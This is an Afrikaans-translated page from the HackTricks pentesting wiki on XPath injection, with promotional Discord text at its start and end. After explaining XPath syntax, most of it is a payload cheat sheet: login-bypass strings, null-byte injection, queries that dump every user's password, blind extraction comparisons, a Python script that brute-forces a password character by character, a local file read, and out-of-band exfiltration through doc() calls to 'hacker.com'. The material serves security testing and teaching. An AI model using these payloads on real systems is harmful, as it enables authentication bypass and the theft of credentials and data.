XPATH injection

Support HackTricks

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en bug bounty jagters!

Hacking Insigte Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek

Regte Tyd Hack Nuus Bly op hoogte van die vinnige hacking wêreld deur regte tyd nuus en insigte

Laaste Aankondigings Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Basic Syntax

'n Aanvalstegniek bekend as XPath Injection word gebruik om voordeel te trek uit toepassings wat XPath (XML Path Language) navrae vorm gebaseer op gebruikersinvoer om XML-dokumente te navraag of te navigeer.

Nodes Described

Uitdrukkings word gebruik om verskillende nodes in 'n XML-dokument te kies. Hierdie uitdrukkings en hul beskrywings word hieronder saamgevat:

  • nodename: Alle nodes met die naam "nodename" word gekies.

  • /: Keuse word gemaak vanaf die wortel node.

  • //: Nodes wat ooreenstem met die keuse vanaf die huidige node word gekies, ongeag hul ligging in die dokument.

  • .: Die huidige node word gekies.

  • ..: Die ouer van die huidige node word gekies.

  • @: Attribuut word gekies.

XPath Examples

Voorbeelde van paduitdrukkings en hul resultate sluit in:

  • bookstore: Alle nodes met die naam "bookstore" word gekies.

  • /bookstore: Die wortelelement bookstore word gekies. Dit word opgemerk dat 'n absolute pad na 'n element verteenwoordig word deur 'n pad wat met 'n skuinsstreep (/) begin.

  • bookstore/book: Alle boek elemente wat kinders van bookstore is, word gekies.

  • //book: Alle boek elemente in die dokument word gekies, ongeag hul ligging.

  • bookstore//book: Alle boek elemente wat afstammelinge van die bookstore element is, word gekies, maak nie saak hul posisie onder die bookstore element nie.

  • //@lang: Alle attribuut met die naam lang word gekies.

Utilization of Predicates

Predikate word gebruik om keuses te verfyn:

  • /bookstore/book[1]: Die eerste boek element kind van die bookstore element word gekies. 'n Oplossing vir IE weergawes 5 tot 9, wat die eerste node as [0] indekseer, is om die SelectionLanguage na XPath deur JavaScript in te stel.

  • /bookstore/book[last()]: Die laaste boek element kind van die bookstore element word gekies.

  • /bookstore/book[last()-1]: Die voorlaaste boek element kind van die bookstore element word gekies.

  • /bookstore/book[position()<3]: Die eerste twee boek elemente kinders van die bookstore element word gekies.

  • //title[@lang]: Alle titel elemente met 'n lang attribuut word gekies.

  • //title[@lang='en']: Alle titel elemente met 'n "lang" attribuut waarde van "en" word gekies.

  • /bookstore/book[price>35.00]: Alle boek elemente van die bookstore met 'n prys groter as 35.00 word gekies.

  • /bookstore/book[price>35.00]/title: Alle titel elemente van die boek elemente van die bookstore met 'n prys groter as 35.00 word gekies.

Handling of Unknown Nodes

Wildcard karakters word gebruik om onbekende nodes te pas:

  • *: Pas enige element node.

  • @*: Pas enige attribuut node.

  • node(): Pas enige node van enige soort.

Verder voorbeelde sluit in:

  • /bookstore/*: Kies alle die kind element nodes van die bookstore element.

  • //*: Kies alle elemente in die dokument.

  • //title[@*]: Kies alle titel elemente met ten minste een attribuut van enige soort.

Example

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Toegang tot die inligting

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identifiseer & steel die skema

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Outentiekeer Omseiling

Voorbeeld van navrae:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OF omseiling in gebruiker en wagwoord (dieselfde waarde in albei)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Misbruik van null-inspuiting

Username: ' or 1]%00

Dubbele OF in gebruikersnaam of in wagwoord (is geldig met slegs 1 kwesbare veld)

BELANGRIJK: Let daarop dat die "en" die eerste operasie is wat gedoen word.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

String extraction

Die uitvoer bevat stringe en die gebruiker kan die waardes manipuleer om te soek:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Kry die lengte van 'n waarde en ekstraheer dit deur vergelykings:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Voorbeeld

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Lees lêer

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Exploitatie

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Outomatiese hulpmiddel

Verwysings

Sluit aan by HackenProof Discord bediener om met ervare hackers en bug bounty jagters te kommunikeer!

Hacking Inligting Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek

Regte Tyd Hack Nuus Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte

Laaste Aankondigings Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Ondersteun HackTricks

Last updated